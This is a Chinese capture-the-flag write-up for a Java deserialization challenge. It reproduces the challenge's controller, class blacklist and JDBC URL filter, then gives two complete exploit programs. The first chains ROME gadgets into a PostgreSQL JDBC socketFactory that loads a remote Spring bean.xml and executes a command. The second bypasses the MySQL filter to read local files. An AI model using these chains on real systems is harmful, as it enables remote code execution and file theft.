考点:JDBC反序列化,postgresql-JDBC?
一、惯例审题环节 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.example.ezjaba.controller;import com.example.ezjaba.security.SecurityObjectInpitStream;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.InputStream;import java.util.Base64;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class IndexController { public IndexController () { } @RequestMapping({"/"}) public String index () { return "hello" ; } @RequestMapping({"/read"}) public String welcome (@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException { InputStream inputStream = new ByteArrayInputStream (Base64.getDecoder().decode(data)); SecurityObjectInpitStream objectInputStream = new SecurityObjectInpitStream (inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("axb" ) && year == 2022 ) { objectInputStream.readObject(); } return "赛博功夫点到及止" ; } }
赛博功夫,read路由有一个反序列化入口点,前面的if判断我们生成payload的时候用writeUTF和writeInt写进去就好了,没啥东西 再看看其他包里,connection包中有进行JDBC连接的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package com.example.ezjaba.Connection;import com.example.ezjaba.security.JdbcUtils;import java.io.Serializable;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;public class Database implements Serializable , Data { public String database; public String host; public String username; public String password; public Connection connection; public Database () { } public Connection getConnection () { String url = "jdbc:" + this .database + "://" + this .host + ":5432/axb?user=" + this .username + "&password" + this .password; try { JdbcUtils.filterJdbcUrl(url); this .connection = DriverManager.getConnection(url); } catch (SQLException var3) { throw new RuntimeException (var3); } catch (Exception var4) { throw new RuntimeException (var4); } return this .connection; } public void setDatabase (String database) { this .database = database; } public void setHots (String host) { this .host = host; } public void setUsername (String username) { this .username = username; } public void setPassword (String password) { this .password = password; } }
这里调用了DriverManager.getConnection进行JDBC连接,但在这之前有一层判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.example.ezjaba.security;public class JdbcUtils { private static final String JDBC_MYSQL_PROTOCOL = "jdbc:mysql" ; private static final String SENSITIVE_PARAM = "autoDeserialize=true" ; private static final String FILE_READ = "allowLoadLocalInfile=true" ; public JdbcUtils () { } public static void filterJdbcUrl (String url) throws Exception { if (url.startsWith("jdbc:mysql" ) && (url.contains("autoDeserialize=true" ) || url.contains("allowLoadLocalInfile=true" ))) { throw new Exception ("那就这样吧,再连接就不太礼貌了" ); } } }
这里简单的把常规的payload ban掉了也就是最熟悉的mysql jdbc反序列化,除此之外仔细观察read路由,里面用的输出流也不是原生的,而是自定义重写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.example.ezjaba.security;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ObjectBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.rowset.JdbcRowSetImpl;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;import java.security.SignedObject;import java.util.ArrayList;import java.util.List;import javax.management.BadAttributeValueExpException;public class SecurityObjectInpitStream extends ObjectInputStream { private List<String> list = new ArrayList (); public SecurityObjectInpitStream (InputStream inputStream) throws IOException { super (inputStream); this .list.add(BadAttributeValueExpException.class.getName()); this .list.add(ObjectBean.class.getName()); this .list.add(EqualsBean.class.getName()); this .list.add(TemplatesImpl.class.getName()); this .list.add(Runtime.class.getName()); this .list.add(SignedObject.class.getName()); this .list.add(JdbcRowSetImpl.class.getName()); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (this .list.contains(desc.getName())) { throw new InvalidClassException ("hacker!!!!!!!!!!!" ); } else { return super .resolveClass(desc); } } }
ban掉了上面list中的类,也就是
1 2 3 4 5 6 7 BadAttributeValueExpException ObjectBean EqualsBean TemplatesImpl Runtime SignedObject JdbcRowSetImpl
再看看题目给的依赖: 有个ROME,那就是说明肯定是打Rome链,只不过我们开局的ToString断掉了,我们需要想办法去触发ToStringBean的Tostring方法,这也就是西湖论剑里我们常用的xstring和hotswapper,那链子我们是接上了,触发ToStringBean后就会调用任意的get,set方法,而database类里面有一个getConnection
,那么必然会调用这个方法,从而存在JDBC反序列化,基本思路就是这样
二、解题环节 (1)预期解 PostgrelSQL反序列化 正常逻辑是看到mysql被ban了,同时依赖中又给了postgresql的依赖,那自然就想到了它的反序列化,而这边在网上检索了一番后也是确实发现了有关的CVEhttps://xz.aliyun.com/t/11812#toc-4 这张图概括将利用链概括的很好,最后一部分那个CVE2017可以忽略,我们并不需要走那条路,我们只需要利用它前面的ctor.newinstance去初始化springframework一个很熟悉的类,ClassPathXmlApplicationContext
,学过Spring的人对这个类肯定不陌生,这就是初始化我们bean的一个类,他的构造函数可以读取xml文件并实例化bean 因此思路很明确,最后触发RCE的地方就在这,而前面的利用链我们理一下思路,首先是ROME链的后半段,要想办法接上toString,而Xstring和HotSwapper刚好可以接上,因此最终POC为如下构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.example.ezjaba.exp;import com.example.ezjaba.Connection.Database;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class exp { public static void main (String[] args) throws Exception{; Database database = new Database (); setFieldValue(database,"database" ,"postgresql" ); setFieldValue(database,"host" ,"127.0.0.1" ); setFieldValue(database,"username" ,"boogipop&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:7777/bean.xml" ); ToStringBean toStringBean = new ToStringBean (Database.class,database); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString ("123" )); HotSwappableTargetSource h1 = new HotSwappableTargetSource (toStringBean); HashMap<Object, Object> map = new HashMap (); map.put(h1,h1); map.put(h2,h2); ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeUTF("axb" ); out.writeInt(2022 ); out.writeObject(map); Base64Encode(bs); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
有个小细节就是writeUTF和writeInt需要放在writeObject的前面,否则写不进去。并且Database类所在位置需要和题目一一对应: 输出好后得到一串BASE64编码,我们直接往题目中传参 赛博功夫点到为止,很喜欢这个地方的提示呀,这就说明你的利用链大概率触发成功了,而计算机确实也弹出了
流程分析 对于前半段ROME就不分析了,这个在西湖论剑的easy_api中给出了,我们直接看调用getConnection后发生了什么(Rome链会调用任意get和set) 进入getConnection方法 在里面调用了makeconnection方法,准备进行连接初始化 Pgconnection方法 openconnection打开一个连接 调用其实现类 在getSocktFacotry中把CPX类传入了instantiate方法中,准备进行初始化 这边调用了CPX的构造方法实例化,然后加载远程的bean.xml文件,准备的文件内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="exec" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > calc.exe</value > </list > </constructor-arg > </bean > </beans >
随后便弹出计算器
(2)非预期 | 编码绕过URL任意文件读取 我们可以自己在本地实验,一般的jdbc url是jdbc://mysql/xxxxxx
这种形式,而mysql这个字段可以进行url编码,在进行解析时会自动解码,因此得以绕过 思路大致上是和上半段一样的,因此POC很容易构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.example.ezjaba.exp;import com.example.ezjaba.Connection.Database;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class exp2 { public static void main (String[] args) throws Exception{; Database database = new Database (); setFieldValue(database,"database" ,"%6d%79%73%71%6c" ); setFieldValue(database,"host" ,"127.0.0.1" ); setFieldValue(database,"username" ,"fileread_c:\\\\windows\\\\win.ini&maxAllowedPacket=655360" ); ToStringBean toStringBean = new ToStringBean (Database.class,database); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString ("123" )); HotSwappableTargetSource h1 = new HotSwappableTargetSource (toStringBean); HashMap<Object, Object> map = new HashMap (); map.put(h1,h1); map.put(h2,h2); ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeUTF("axb" ); out.writeInt(2022 ); out.writeObject(map); Base64Encode(bs); } private static ByteArrayOutputStream unSerial (Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
由于这里没有设置flag所以读一个win.ini来当例子,详细可以看 这里介绍了JDBC任意文件读取的原理和利用,mysql恶意服务器是在github上开源的fake_mysql